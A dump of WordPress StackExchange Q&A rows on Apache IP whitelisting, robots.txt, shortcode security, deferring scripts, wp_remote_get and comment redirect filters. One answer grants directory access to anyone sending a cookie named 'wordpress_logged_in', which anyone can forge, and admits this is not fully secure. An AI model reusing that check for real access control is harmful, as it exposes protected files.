qid
int64 4
8.14M
| question
stringlengths 20
48.3k
| answers
list | date
stringlengths 10
10
| metadata
list | input
stringlengths 12
45k
| output
stringlengths 2
31.8k
|
---|---|---|---|---|---|---|
255,142 | <p>I have an apache config where I whitelist IPs to a non-WordPress subfolder like this:</p>
<pre><code><Directory /var/www/html/link>
Order allow,deny
Require all granted
#Our Network
Allow from ip-address/22
Allow from ip-address/24
Allow from ip-address/24
Allow from ip-address/24
#and even longer list of IPs and other folders
</Directory>
</code></pre>
<p>I would also like to allow people who don't belong to this IP block but have user account. Is there any way to do this?</p>
| [
{
"answer_id": 255652,
"author": "T.Todua",
"author_id": 33667,
"author_profile": "https://wordpress.stackexchange.com/users/33667",
"pm_score": 0,
"selected": false,
"text": "<p>As far as I know, .htaccess (or apache config) is prioritized and you cant override it easily. There are two solutions:</p>\n\n<p>1) Just use the <a href=\"http://pastebin.com/raw/TzsRe3wr\" rel=\"nofollow noreferrer\">simple-browser.php</a> file (modify path of protected directory as you need)</p>\n\n<p>2) Dont use apache config, instead, use <code>.htaccess</code> inside that directory, here is how:</p>\n\n<p>create <code>.htaccess</code> in that folder:</p>\n\n<pre><code><Directory \"./\">\nOrder allow,deny\nRequire all granted\n\n#Our Network\nAllow from ip-address/22\n........\n#DONT_REMOVE_ME_START\n#DONT_REMOVE_ME_END\n</Directory>\n</code></pre>\n\n<p>At first, put below content in your <code>functions.php</code> and after that, send users to this link: <code>yoursite.com/?check_permission</code>:</p>\n\n<pre><code>define('path_to_target_htaccess', ABSPATH.'path/to/protected/folder/.htaccess');\n\nadd_action('init', 'start_validation');\nfunction start_validation(){\n if (isset($_GET['check_permission'])){\n if(is_user_logged_in()){\n\n $new_content= str_replace(\n '#DONT_REMOVE_ME_START', \n '#DONT_REMOVE_ME_START'.\"\\r\\n\".'Allow from '.$_SERVER['REMOTE_ADDR'], \n file_get_contents(path_to_target_htaccess)\n );\n file_put_contents(path_to_target_htaccess, $new_content);\n header(\"location: /path/to/folder\"); exit;\n }\n }\n}\n</code></pre>\n\n<p>p.s. once in a week or day, run a function that will delete all lines between <code>#DONT_REMOVE_ME_START</code> and <code>#DONT_REMOVE_ME_END</code></p>\n"
},
{
"answer_id": 255957,
"author": "cjbj",
"author_id": 75495,
"author_profile": "https://wordpress.stackexchange.com/users/75495",
"pm_score": 0,
"selected": false,
"text": "<p>I haven't been in this situation and know more about WP than Apache, but here is roughly how I would approach it.</p>\n\n<ol>\n<li>Use <a href=\"https://httpd.apache.org/docs/2.2/mod/mod_setenvif.html\" rel=\"nofollow noreferrer\"><code>mod_setenvif</code></a> to set an environment variable based on the requested url containing a certain code, say 'wp-login-!637#6'.</li>\n<li><a href=\"https://httpd.apache.org/docs/2.2/howto/access.html#env\" rel=\"nofollow noreferrer\">Allow access</a> if the environment variable is correct. This will fail.</li>\n<li>Redirect to a special page in the WP install, passing the original url as a query variable, like this: <code>Redirect \"foo.html\" \"wp/specialpage?foo.html\"</code>.</li>\n<li>Now you're in WP and can test whether the current user is logged in. If not, allow login or display 'forbidden'. If logged in, <a href=\"https://stackoverflow.com/questions/768431/how-to-make-a-redirect-in-php\">redirect</a> to the original url, appending the code 'wp-login-!637#6'</li>\n<li>Now you're back at step one, but this time the environment variable will be set correct and you get access to the file</li>\n</ol>\n"
},
{
"answer_id": 256272,
"author": "Fayaz",
"author_id": 110572,
"author_profile": "https://wordpress.stackexchange.com/users/110572",
"pm_score": 3,
"selected": true,
"text": "<h1>Simple & Fast but not 100% secure method:</h1>\n<p>This method is not 100% secure, but for most users (like 99%), it'll work.</p>\n<p>Here, basically you'll use a <code>.htaccess</code> file <em><strong>inside the restricted directory</strong></em>, say: <code>/var/www/html/link</code> with the following CODE:</p>\n<pre><code> SetEnvIf Cookie "^.*wordpress_logged_in.*$" WP_LOGGED_IN=maybe\n\n Order allow,deny\n Require all granted\n\n # Our Network\n #Allow from ip-address/22\n #Allow from ip-address/24\n #Allow from ip-address/24\n #Allow from ip-address/24\n # and even longer list of IPs\n\n # Perhaps WordPress is logged in according to cookie: works for trivial cases, but not 100% secure\n Allow from env=WP_LOGGED_IN\n</code></pre>\n<p>So basically, instead of apache config, you'll put the allowed IP networks in this <code>.htaccess</code> file (without the <code><Directory></code> block), which will also check the WordPress login cookie using <a href=\"https://httpd.apache.org/docs/2.4/mod/mod_setenvif.html\" rel=\"nofollow noreferrer\"><code>SetEnvIf</code></a> directive. If the IP is not in the match & login cookie isn't found either, with this CODE the remaining visitors will be denied access.</p>\n<p>No change in the <code>.htaccess</code> file of the root web directory is necessary.</p>\n<h1>Secure method:</h1>\n<p>If you need 100% secure method, then it's best to do it with PHP.</p>\n<p>First remove all existing IP restrictions (for the corresponding directory) from the apache config file.</p>\n<p>Then, use the following CODE in the <code>.htaccess</code> file of your root web directory.</p>\n<pre><code> <IfModule mod_rewrite.c>\n RewriteEngine On\n RewriteBase /\n\n RewriteRule ^link/access\\.php$ - [L]\n RewriteRule ^link/.*$ /link/access.php [L]\n\n # Your remaining rewrite rules for WordPress\n </IfModule>\n</code></pre>\n<p>Then in <code>/var/www/html/link/access.php</code> file, use the following PHP CODE:</p>\n<pre><code><?php\n\n function network_match( $ip, $networks ) {\n foreach( $networks as $network ) {\n $net_parts = explode( '/', $network );\n\n $net = $net_parts[0];\n if( count( $net_parts ) === 2 ) {\n $netmask = $net_parts[1];\n if( ( ip2long( $net ) & ~ ( ( 1 << ( 32 - $netmask ) ) - 1 ) ) === ( ip2long( $ip ) & ~ ( ( 1 << ( 32 - $netmask ) ) - 1 ) ) ) {\n return true;\n }\n }\n else if( $ip === $net ) {\n return true;\n }\n }\n return false;\n }\n\n $networks = array(\n // Put your allowed networks HERE\n "192.168.0.0/24",\n "127.0.0.1"\n );\n\n $allowed = false;\n if( network_match( $_SERVER['REMOTE_ADDR'], $networks ) ) {\n $allowed = true;\n }\n else {\n // assuming WordPress is installed one directory above\n // if not, then change accordingly\n require_once dirname( dirname( __FILE__ ) ) . "/wp-load.php";\n if( is_user_logged_in() ) {\n $allowed = true;\n }\n }\n\n if( $allowed ) {\n // HERE you SERVE THE REQUESTED FILE WITH PHP\n echo "You are allowed";\n }\n else {\n die("Access denied!");\n }\n</code></pre>\n<p>As it is now, this CODE basically internally rewrites all the requests to <code>/var/www/html/link/</code> directory to <code>/var/www/html/link/access.php</code> file & it checks IP access permission & WordPress login.</p>\n<p>You may modify this PHP CODE (in the line that says: <code>// HERE you SERVE THE REQUESTED FILE WITH PHP</code>) to serve requested files from the <code>link</code> directory.</p>\n<p>You may check this post to <a href=\"https://stackoverflow.com/questions/3697748/fastest-way-to-serve-a-file-using-php\">server files from PHP CODE</a>.</p>\n"
}
]
| 2017/02/04 | [
"https://wordpress.stackexchange.com/questions/255142",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/1264/"
]
| I have an apache config where I whitelist IPs to a non-WordPress subfolder like this:
```
<Directory /var/www/html/link>
Order allow,deny
Require all granted
#Our Network
Allow from ip-address/22
Allow from ip-address/24
Allow from ip-address/24
Allow from ip-address/24
#and even longer list of IPs and other folders
</Directory>
```
I would also like to allow people who don't belong to this IP block but have user account. Is there any way to do this? | Simple & Fast but not 100% secure method:
=========================================
This method is not 100% secure, but for most users (like 99%), it'll work.
Here, basically you'll use a `.htaccess` file ***inside the restricted directory***, say: `/var/www/html/link` with the following CODE:
```
SetEnvIf Cookie "^.*wordpress_logged_in.*$" WP_LOGGED_IN=maybe
Order allow,deny
Require all granted
# Our Network
#Allow from ip-address/22
#Allow from ip-address/24
#Allow from ip-address/24
#Allow from ip-address/24
# and even longer list of IPs
# Perhaps WordPress is logged in according to cookie: works for trivial cases, but not 100% secure
Allow from env=WP_LOGGED_IN
```
So basically, instead of apache config, you'll put the allowed IP networks in this `.htaccess` file (without the `<Directory>` block), which will also check the WordPress login cookie using [`SetEnvIf`](https://httpd.apache.org/docs/2.4/mod/mod_setenvif.html) directive. If the IP is not in the match & login cookie isn't found either, with this CODE the remaining visitors will be denied access.
No change in the `.htaccess` file of the root web directory is necessary.
Secure method:
==============
If you need 100% secure method, then it's best to do it with PHP.
First remove all existing IP restrictions (for the corresponding directory) from the apache config file.
Then, use the following CODE in the `.htaccess` file of your root web directory.
```
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^link/access\.php$ - [L]
RewriteRule ^link/.*$ /link/access.php [L]
# Your remaining rewrite rules for WordPress
</IfModule>
```
Then in `/var/www/html/link/access.php` file, use the following PHP CODE:
```
<?php
function network_match( $ip, $networks ) {
foreach( $networks as $network ) {
$net_parts = explode( '/', $network );
$net = $net_parts[0];
if( count( $net_parts ) === 2 ) {
$netmask = $net_parts[1];
if( ( ip2long( $net ) & ~ ( ( 1 << ( 32 - $netmask ) ) - 1 ) ) === ( ip2long( $ip ) & ~ ( ( 1 << ( 32 - $netmask ) ) - 1 ) ) ) {
return true;
}
}
else if( $ip === $net ) {
return true;
}
}
return false;
}
$networks = array(
// Put your allowed networks HERE
"192.168.0.0/24",
"127.0.0.1"
);
$allowed = false;
if( network_match( $_SERVER['REMOTE_ADDR'], $networks ) ) {
$allowed = true;
}
else {
// assuming WordPress is installed one directory above
// if not, then change accordingly
require_once dirname( dirname( __FILE__ ) ) . "/wp-load.php";
if( is_user_logged_in() ) {
$allowed = true;
}
}
if( $allowed ) {
// HERE you SERVE THE REQUESTED FILE WITH PHP
echo "You are allowed";
}
else {
die("Access denied!");
}
```
As it is now, this CODE basically internally rewrites all the requests to `/var/www/html/link/` directory to `/var/www/html/link/access.php` file & it checks IP access permission & WordPress login.
You may modify this PHP CODE (in the line that says: `// HERE you SERVE THE REQUESTED FILE WITH PHP`) to serve requested files from the `link` directory.
You may check this post to [server files from PHP CODE](https://stackoverflow.com/questions/3697748/fastest-way-to-serve-a-file-using-php). |
255,148 | <p>So I have a website which is made by using Wordpress platform. I'm completely unaware of SEO and when I search for my website on Google the description is something like this </p>
<blockquote>
<p>A description for this result is not available because of this site's robots.txt</p>
</blockquote>
<p>My Wordpress robots.txt file content is as follows</p>
<pre><code>User-agent: *
Disallow: /wp-admin/
Allow: /wp-admin/admin-ajax.php
Sitemap: http://www.loadsofshoes.com/sitemap.xml
Sitemap: http://www.loadsofshoes.com/sitemap-images.xml
</code></pre>
| [
{
"answer_id": 255211,
"author": "KAGG Design",
"author_id": 108721,
"author_profile": "https://wordpress.stackexchange.com/users/108721",
"pm_score": 1,
"selected": false,
"text": "<p>Content of robots.txt is right. Site should be indexed. Probably some time ago indexation was prohibited in WordPress settings.</p>\n\n<p>What you can do, request re-indexing of your site in Google Search Console and in some time (one week maybe) you can see usual description of your pages in Google search results. </p>\n"
},
{
"answer_id": 255212,
"author": "Craig",
"author_id": 112472,
"author_profile": "https://wordpress.stackexchange.com/users/112472",
"pm_score": 0,
"selected": false,
"text": "<p>Are you sure you have uploaded your sitemap.xml? I have just checked the URL and the page cannot be found. If you are not familiar with sitemap.xml files, and/or want to 'start as you mean to go on' with SEO, you may find a Plugin such as the 'All in One SEO Pack' or 'Yoast' of interest. </p>\n\n<p>Have you tried just placing:</p>\n\n<pre><code>User-agent: *\nDisallow: /wp-admin/\n</code></pre>\n\n<p>in your robot.txt file? </p>\n"
}
]
| 2017/02/04 | [
"https://wordpress.stackexchange.com/questions/255148",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/112529/"
]
| So I have a website which is made by using Wordpress platform. I'm completely unaware of SEO and when I search for my website on Google the description is something like this
>
> A description for this result is not available because of this site's robots.txt
>
>
>
My Wordpress robots.txt file content is as follows
```
User-agent: *
Disallow: /wp-admin/
Allow: /wp-admin/admin-ajax.php
Sitemap: http://www.loadsofshoes.com/sitemap.xml
Sitemap: http://www.loadsofshoes.com/sitemap-images.xml
``` | Content of robots.txt is right. Site should be indexed. Probably some time ago indexation was prohibited in WordPress settings.
What you can do, request re-indexing of your site in Google Search Console and in some time (one week maybe) you can see usual description of your pages in Google search results. |
255,151 | <p>This is probably a silly question. Could someone potentially use a short code injection attack?</p>
<p>What is stopping someone from injecting something like this? </p>
<pre><code>[shortcode]Do something[/shortcode]
</code></pre>
<p>I am sure that WP already thought about this but I am just wondering, what security mechanism stops this type of injection attack?</p>
| [
{
"answer_id": 255153,
"author": "Mark Kaplun",
"author_id": 23970,
"author_profile": "https://wordpress.stackexchange.com/users/23970",
"pm_score": 2,
"selected": false,
"text": "<ol>\n<li><p>In general, like with any other theme or plugin on your system, there is nothing built-in that can prevent all attack vectors</p></li>\n<li><p>Shortcodes are a kind of macros for generating HTML. Shortcodes that don't do more than that should generally be safe.</p></li>\n<li><p>The biggest problem with shortcodes is that their insertion and \"execution\" do not depend on any capability check. If you have an exploitable shortcode, even a contributor will be able to abuse it.</p></li>\n</ol>\n\n<p>So what to do? Especially if you are running a multi author site, avoid shortcodes that violate point 2, especially those that explicitly let you execute PHP code, and as always use themes and plugins only from respectable sources (unfortunately, popularity has almost nothing to do with being \"respected\"). </p>\n"
},
{
"answer_id": 256648,
"author": "prosti",
"author_id": 88606,
"author_profile": "https://wordpress.stackexchange.com/users/88606",
"pm_score": 0,
"selected": false,
"text": "<p>Like with everything the problem is in the PHP code.\nAs Mark explained, always use themes and plugins from respectable sources. There is one tool called <a href=\"https://wordpress.stackexchange.com/questions/256421/should-i-use-rips-tool-to-test-my-themes-and-plugins/256422#256422\">RIPS</a> that you may also use.</p>\n"
},
{
"answer_id": 414350,
"author": "FeralReason",
"author_id": 68751,
"author_profile": "https://wordpress.stackexchange.com/users/68751",
"pm_score": 0,
"selected": false,
"text": "<p>It is possible for an individual with a Contributor role to perform stored XSS via shortcode attributes. Which is why it is important to validate attributes and escape any output.</p>\n"
}
]
| 2017/02/04 | [
"https://wordpress.stackexchange.com/questions/255151",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/70197/"
]
| This is probably a silly question. Could someone potentially use a short code injection attack?
What is stopping someone from injecting something like this?
```
[shortcode]Do something[/shortcode]
```
I am sure that WP already thought about this but I am just wondering, what security mechanism stops this type of injection attack? | 1. In general, like with any other theme or plugin on your system, there is nothing built-in that can prevent all attack vectors
2. Shortcodes are a kind of macros for generating HTML. Shortcodes that don't do more than that should generally be safe.
3. The biggest problem with shortcodes is that their insertion and "execution" do not depend on any capability check. If you have an exploitable shortcode, even a contributor will be able to abuse it.
So what to do? Especially if you are running a multi author site, avoid shortcodes that violate point 2, especially those that explicitly let you execute PHP code, and as always use themes and plugins only from respectable sources (unfortunately, popularity has almost nothing to do with being "respected"). |
255,166 | <p>I want to manually eliminate render blocking in order to boost speed.</p>
<p>I've been searching for solution in google for past two days.</p>
<p>Tried below 3 solutions in functions.php. That indeed worked however....</p>
<ol>
<li>eliminated from half js scripts and i still get the same message for other js.</li>
<li>did not eliminate from CSS</li>
</ol>
<p><strong>Solution 1</strong></p>
<pre><code>add_filter( 'clean_url', function( $url )
{
if ( FALSE === strpos( $url, '.js' ) )
{
return $url;
}
return "$url' defer='defer";
}, 11, 1 );
</code></pre>
<p><strong>Solutions 2</strong> <a href="https://wordpress.stackexchange.com/questions/189333/how-to-solve-eliminate-render-blocking-javascript-and-css-in-above-the-fold-co">given here</a></p>
<pre><code>add_action('customize_register', 'customizer');
function defer_parsing_of_js ( $url ) {
if ( FALSE === strpos( $url, '.js' ) ) return $url;
if ( strpos( $url, 'jquery.js' ) ) return $url;
return "$url' defer ";
}
add_filter( 'clean_url', 'defer_parsing_of_js', 11, 1 );
</code></pre>
<p><strong>Solutions 3</strong></p>
<pre><code>// add async and defer to javascripts
function wcs_defer_javascripts ( $url ) {
if ( FALSE === strpos( $url, '.js' ) ) return $url;
if ( strpos( $url, 'jquery.js' ) ) return $url;
return "$url' async='async";
}
add_filter( 'clean_url', 'wcs_defer_javascripts', 11, 1 );
</code></pre>
<p>Please do not suggest any plugin. I have tried w3 cache, autoptimize and many more.</p>
<p>W3 cache did the job but that is not permanent solution. Because site deforms once w3 cache is deactivated (<strong>site does not return to normal even after reactivating</strong>).</p>
<p><strong>Solution 4</strong> added this code before </p>
<pre><code><script type="text/javascript">
function downloadJSAtOnload() {
var links = ["wp-content/themes/TL/library/js/scriptsslider.js", "wp-content/themes/TL/library/js/scriptsslider.js"],
headElement = document.getElementsByTagName("head")[0],
linkElement, i;
for (i = 0; i < links.length; i++) {
linkElement = document.createElement("script");
linkElement.src = links[i];
headElement.appendChild(linkElement);
}
}
if (window.addEventListener)
window.addEventListener("load", downloadJSAtOnload, false);
else if (window.attachEvent)
window.attachEvent("onload", downloadJSAtOnload);
else window.onload = downloadJSAtOnload;
</script>
</code></pre>
| [
{
"answer_id": 255153,
"author": "Mark Kaplun",
"author_id": 23970,
"author_profile": "https://wordpress.stackexchange.com/users/23970",
"pm_score": 2,
"selected": false,
"text": "<ol>\n<li><p>In general, like with any other theme or plugin on your system, there is nothing built-in that can prevent all attack vectors</p></li>\n<li><p>Shortcodes are a kind of macros for generating HTML. Shortcodes that don't do more than that should generally be safe.</p></li>\n<li><p>The biggest problem with shortcodes is that their insertion and \"execution\" do not depend on any capability check. If you have an exploitable shortcode, even a contributor will be able to abuse it.</p></li>\n</ol>\n\n<p>So what to do? Especially if you are running a multi author site, avoid shortcodes that violate point 2, especially those that explicitly let you execute PHP code, and as always use themes and plugins only from respectable sources (unfortunately, popularity has almost nothing to do with being \"respected\"). </p>\n"
},
{
"answer_id": 256648,
"author": "prosti",
"author_id": 88606,
"author_profile": "https://wordpress.stackexchange.com/users/88606",
"pm_score": 0,
"selected": false,
"text": "<p>Like with everything the problem is in the PHP code.\nAs Mark explained, always use themes and plugins from respectable sources. There is one tool called <a href=\"https://wordpress.stackexchange.com/questions/256421/should-i-use-rips-tool-to-test-my-themes-and-plugins/256422#256422\">RIPS</a> that you may also use.</p>\n"
},
{
"answer_id": 414350,
"author": "FeralReason",
"author_id": 68751,
"author_profile": "https://wordpress.stackexchange.com/users/68751",
"pm_score": 0,
"selected": false,
"text": "<p>It is possible for an individual with a Contributor role to perform stored XSS via shortcode attributes. Which is why it is important to validate attributes and escape any output.</p>\n"
}
]
| 2017/02/04 | [
"https://wordpress.stackexchange.com/questions/255166",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/86147/"
]
| I want to manually eliminate render blocking in order to boost speed.
I've been searching for solution in google for past two days.
Tried below 3 solutions in functions.php. That indeed worked however....
1. eliminated from half js scripts and i still get the same message for other js.
2. did not eliminate from CSS
**Solution 1**
```
add_filter( 'clean_url', function( $url )
{
if ( FALSE === strpos( $url, '.js' ) )
{
return $url;
}
return "$url' defer='defer";
}, 11, 1 );
```
**Solutions 2** [given here](https://wordpress.stackexchange.com/questions/189333/how-to-solve-eliminate-render-blocking-javascript-and-css-in-above-the-fold-co)
```
add_action('customize_register', 'customizer');
function defer_parsing_of_js ( $url ) {
if ( FALSE === strpos( $url, '.js' ) ) return $url;
if ( strpos( $url, 'jquery.js' ) ) return $url;
return "$url' defer ";
}
add_filter( 'clean_url', 'defer_parsing_of_js', 11, 1 );
```
**Solutions 3**
```
// add async and defer to javascripts
function wcs_defer_javascripts ( $url ) {
if ( FALSE === strpos( $url, '.js' ) ) return $url;
if ( strpos( $url, 'jquery.js' ) ) return $url;
return "$url' async='async";
}
add_filter( 'clean_url', 'wcs_defer_javascripts', 11, 1 );
```
Please do not suggest any plugin. I have tried w3 cache, autoptimize and many more.
W3 cache did the job but that is not permanent solution. Because site deforms once w3 cache is deactivated (**site does not return to normal even after reactivating**).
**Solution 4** added this code before
```
<script type="text/javascript">
function downloadJSAtOnload() {
var links = ["wp-content/themes/TL/library/js/scriptsslider.js", "wp-content/themes/TL/library/js/scriptsslider.js"],
headElement = document.getElementsByTagName("head")[0],
linkElement, i;
for (i = 0; i < links.length; i++) {
linkElement = document.createElement("script");
linkElement.src = links[i];
headElement.appendChild(linkElement);
}
}
if (window.addEventListener)
window.addEventListener("load", downloadJSAtOnload, false);
else if (window.attachEvent)
window.attachEvent("onload", downloadJSAtOnload);
else window.onload = downloadJSAtOnload;
</script>
``` | 1. In general, like with any other theme or plugin on your system, there is nothing built-in that can prevent all attack vectors
2. Shortcodes are a kind of macros for generating HTML. Shortcodes that don't do more than that should generally be safe.
3. The biggest problem with shortcodes is that their insertion and "execution" do not depend on any capability check. If you have an exploitable shortcode, even a contributor will be able to abuse it.
So what to do? Especially if you are running a multi author site, avoid shortcodes that violate point 2, especially those that explicitly let you execute PHP code, and as always use themes and plugins only from respectable sources (unfortunately, popularity has almost nothing to do with being "respected"). |
255,170 | <p>I have a plugin which uses <code>wp_remote_get()</code> and it's not working on my nginx server so I decided to test this. </p>
<p>I created a file called <code>test.php</code> and inserted:</p>
<pre><code><?php $response = wp_remote_get( 'http://www.domain.com/mytest.php' );
print $response ['body']; ?>
</code></pre>
<p>When I run this file I am getting error:</p>
<pre><code>2017/02/04 16:22:31 [error] 16573#16573: *461100 FastCGI sent in stderr:
…
"PHP message: PHP Fatal error: Uncaught Error: Call to undefined function
wp_remote_get() in /var/www/html/wp-content/themes/x-child/test.php:1
</code></pre>
<p>I cannot tell why this would be undefined function, given that its part of wordpress core?</p>
| [
{
"answer_id": 255174,
"author": "Nathan Johnson",
"author_id": 106269,
"author_profile": "https://wordpress.stackexchange.com/users/106269",
"pm_score": 1,
"selected": false,
"text": "<p>Are you trying to access your test.php file directly? If so, then WordPress won't be loaded, so <code>wp_remote_get()</code> won't work. </p>\n\n<p>To use <code>wp_remote_get</code> you need to make sure WordPress is loaded. Try hooking into <code>wp_loaded</code>:</p>\n\n<pre><code>add_action( 'wp_loaded', function() {\n $response = wp_remote_get( 'https://example.com/' );\n print $response[ 'body' ];\n} );\n</code></pre>\n\n<p>There's a chance your server is configured in such a way that the methods used by <code>wp_remote_get</code> are not available to WordPress. If that's the case, make sure curl or wget is installed on the server.</p>\n"
},
{
"answer_id": 255190,
"author": "JMau",
"author_id": 31376,
"author_profile": "https://wordpress.stackexchange.com/users/31376",
"pm_score": 4,
"selected": true,
"text": "<p>The very concept of HTTP API is to make sure transport will be done. It basically uses 5 different transport methods and it chooses the best one according to your server config. So it's unlikely a compatibility issue with <code>wp_remote_get()</code> and your server.</p>\n\n<p>Plus if WP is not loaded, adding an action won't help, it will fail the same with undefined function error but this time on <code>add_action</code>.</p>\n\n<p>So basically you're missing WordPress, for test purpose you could do this (assuming your file is at the root of WP installation ) :</p>\n\n<pre><code><?php \nrequire_once( 'wp-load.php' );\n$response = wp_remote_get( 'http://www.domain.com/mytest.php' );\nprint $response ['body']; ?>\n</code></pre>\n"
}
]
| 2017/02/04 | [
"https://wordpress.stackexchange.com/questions/255170",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/40727/"
]
| I have a plugin which uses `wp_remote_get()` and it's not working on my nginx server so I decided to test this.
I created a file called `test.php` and inserted:
```
<?php $response = wp_remote_get( 'http://www.domain.com/mytest.php' );
print $response ['body']; ?>
```
When I run this file I am getting error:
```
2017/02/04 16:22:31 [error] 16573#16573: *461100 FastCGI sent in stderr:
…
"PHP message: PHP Fatal error: Uncaught Error: Call to undefined function
wp_remote_get() in /var/www/html/wp-content/themes/x-child/test.php:1
```
I cannot tell why this would be undefined function, given that its part of wordpress core? | The very concept of HTTP API is to make sure transport will be done. It basically uses 5 different transport methods and it chooses the best one according to your server config. So it's unlikely a compatibility issue with `wp_remote_get()` and your server.
Plus if WP is not loaded, adding an action won't help, it will fail the same with undefined function error but this time on `add_action`.
So basically you're missing WordPress, for test purpose you could do this (assuming your file is at the root of WP installation ) :
```
<?php
require_once( 'wp-load.php' );
$response = wp_remote_get( 'http://www.domain.com/mytest.php' );
print $response ['body']; ?>
``` |
255,193 | <p>we (my son and me) modified a script - '/js/sticky-menu.js' - and it only works when Cloudflare 'Rocket Loader' is off.</p>
<p>Following the <a href="https://support.cloudflare.com/hc/en-us/articles/200168056-What-does-Rocket-Loader-do-" rel="nofollow noreferrer">tutorial</a> for Rocket Loader I tried to exclude the script by adding this code into the header (using theme settings of Genesis):</p>
<pre><code><script data-cfasync="false" src="/javascript.js"></script>
</code></pre>
<p>I modified the code to</p>
<pre><code><script data-cfasync="false" src="/js/sticky-menu.js"></script>
</code></pre>
<p>After saving the code I got this warning-message:</p>
<blockquote>
<p>403 Forbidden</p>
<p>A potentially unsafe operation has been detected in your request to this site.</p>
</blockquote>
<p>Also using the complete path of the script doesn't work.</p>
<p>Here is the URL of my <a href="https://www.jungvital.com" rel="nofollow noreferrer">website</a>.</p>
<p>Have you a solution for this problem?</p>
<p>kind regards,
Rainer Brumshagen</p>
| [
{
"answer_id": 255231,
"author": "Scott",
"author_id": 111485,
"author_profile": "https://wordpress.stackexchange.com/users/111485",
"pm_score": 3,
"selected": true,
"text": "<h1>Solution:</h1>\n\n<p>Because the theme JavaScript is not in:</p>\n\n<pre><code>/js/sticky-menu.js\n</code></pre>\n\n<p>Rather, it's in your theme folder (as your theme name is <code>lifestyle-pro</code>, as found from your site's HTML):</p>\n\n<pre><code>/wp-content/themes/lifestyle-pro/js/sticky-menu.js\n</code></pre>\n\n<p>So your <code><script></code> CODE should be:</p>\n\n<pre><code><script data-cfasync=\"false\" src=\"/wp-content/themes/lifestyle-pro/js/sticky-menu.js\"></script>\n</code></pre>\n\n<h1>Bonus:</h1>\n\n<p>This can be made better with the use of the WordPress function <a href=\"https://developer.wordpress.org/reference/functions/get_stylesheet_directory_uri/\" rel=\"nofollow noreferrer\"><code>get_stylesheet_directory_uri()</code></a>. In that case, your CODE will be:</p>\n\n<pre><code><script data-cfasync=\"false\" src=\"<?php echo get_stylesheet_directory_uri(); ?>/js/sticky-menu.js\"></script>\n</code></pre>\n\n<p>An even better method is to use <code>wp_enqueue_script()</code> function in combination with <code>wp_enqueue_scripts</code> filter hook, as described <a href=\"https://developer.wordpress.org/reference/functions/wp_enqueue_script/\" rel=\"nofollow noreferrer\">in this WordPress document</a>.</p>\n"
},
{
"answer_id": 255245,
"author": "Rainer Brumshagen",
"author_id": 112048,
"author_profile": "https://wordpress.stackexchange.com/users/112048",
"pm_score": 0,
"selected": false,
"text": "<p>In this case the solution is</p>\n\n<ol>\n<li>De-activation of the plugin \"<strong>wordfence</strong>\", that didn't allow to write into the <strong>head</strong>-section. </li>\n<li>Changing a code-snippet in the '<strong>functions.php</strong>' to get the 'sticky-menu.js' working. After this changing the script needn't put in into the <strong>head</strong>-section. I got the correct code-snippet for the 'functions.php' from <a href=\"https://gist.github.com/bgardner/5038210\" rel=\"nofollow noreferrer\">this tutorial</a>.</li>\n</ol>\n"
}
]
| 2017/02/04 | [
"https://wordpress.stackexchange.com/questions/255193",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/112048/"
]
| we (my son and me) modified a script - '/js/sticky-menu.js' - and it only works when Cloudflare 'Rocket Loader' is off.
Following the [tutorial](https://support.cloudflare.com/hc/en-us/articles/200168056-What-does-Rocket-Loader-do-) for Rocket Loader I tried to exclude the script by adding this code into the header (using theme settings of Genesis):
```
<script data-cfasync="false" src="/javascript.js"></script>
```
I modified the code to
```
<script data-cfasync="false" src="/js/sticky-menu.js"></script>
```
After saving the code I got this warning-message:
>
> 403 Forbidden
>
>
> A potentially unsafe operation has been detected in your request to this site.
>
>
>
Also using the complete path of the script doesn't work.
Here is the URL of my [website](https://www.jungvital.com).
Have you a solution for this problem?
kind regards,
Rainer Brumshagen | Solution:
=========
Because the theme JavaScript is not in:
```
/js/sticky-menu.js
```
Rather, it's in your theme folder (as your theme name is `lifestyle-pro`, as found from your site's HTML):
```
/wp-content/themes/lifestyle-pro/js/sticky-menu.js
```
So your `<script>` CODE should be:
```
<script data-cfasync="false" src="/wp-content/themes/lifestyle-pro/js/sticky-menu.js"></script>
```
Bonus:
======
This can be made better with the use of the WordPress function [`get_stylesheet_directory_uri()`](https://developer.wordpress.org/reference/functions/get_stylesheet_directory_uri/). In that case, your CODE will be:
```
<script data-cfasync="false" src="<?php echo get_stylesheet_directory_uri(); ?>/js/sticky-menu.js"></script>
```
An even better method is to use `wp_enqueue_script()` function in combination with `wp_enqueue_scripts` filter hook, as described [in this WordPress document](https://developer.wordpress.org/reference/functions/wp_enqueue_script/). |
255,210 | <p>In my plugin, I have this statement</p>
<pre><code>add_filter( 'comment_edit_redirect', 'mcd_return_link');
</code></pre>
<p>and this function</p>
<pre><code>function mcd_return_link {
return "edit-comments.php";
}
</code></pre>
<p>Inside the <strong>comments.php</strong> (core file), is this section of code (within the section to edit comments, around line 310) (version 4.720</p>
<pre><code>$location = ( empty( $_POST['referredby'] ) ? "edit-comments.php?p=$comment_post_id" : $_POST['referredby'] ) . '#comment-' . $comment_id;
/**
* Filters the URI the user is redirected to after editing a comment in the admin.
*
* @since 2.1.0
*
* @param string $location The URI the user will be redirected to.
* @param int $comment_id The ID of the comment being edited.
*/
$location = apply_filters( 'comment_edit_redirect', $location, $comment_id );
wp_redirect( $location );
</code></pre>
<p>The intent of the <code>add_filter</code> is to change the <code>$location</code> value in the <strong>comments.php</strong> file to return back to the comment lists screen (in admin).</p>
<p>So my plugin uses a shortcode that is entered on a page</p>
<ul>
<li>the shortcode creates a list of comments, each comment with a link to
that comment's edit screen (it does)</li>
<li>have links to the edit comments screen for a specific comment (it does)</li>
<li>clicking on that link gets me to the comment's edit screen (it does)</li>
<li>clicking on the 'update' button should return me to the edit-comments.php page (it doesn't).</li>
</ul>
<p>To check if the filter is being applied, on my test system, I added code before and after the <code>apply_filters</code> line in core <strong>comments.php</strong> to echo the <code>$location</code> value. </p>
<p>Both values (before and after) show the calling page (my page that displays comments with edit links). It does not redirect to the <strong>'edit-comments.php'</strong> page, so it appears that the filter is not being applied.</p>
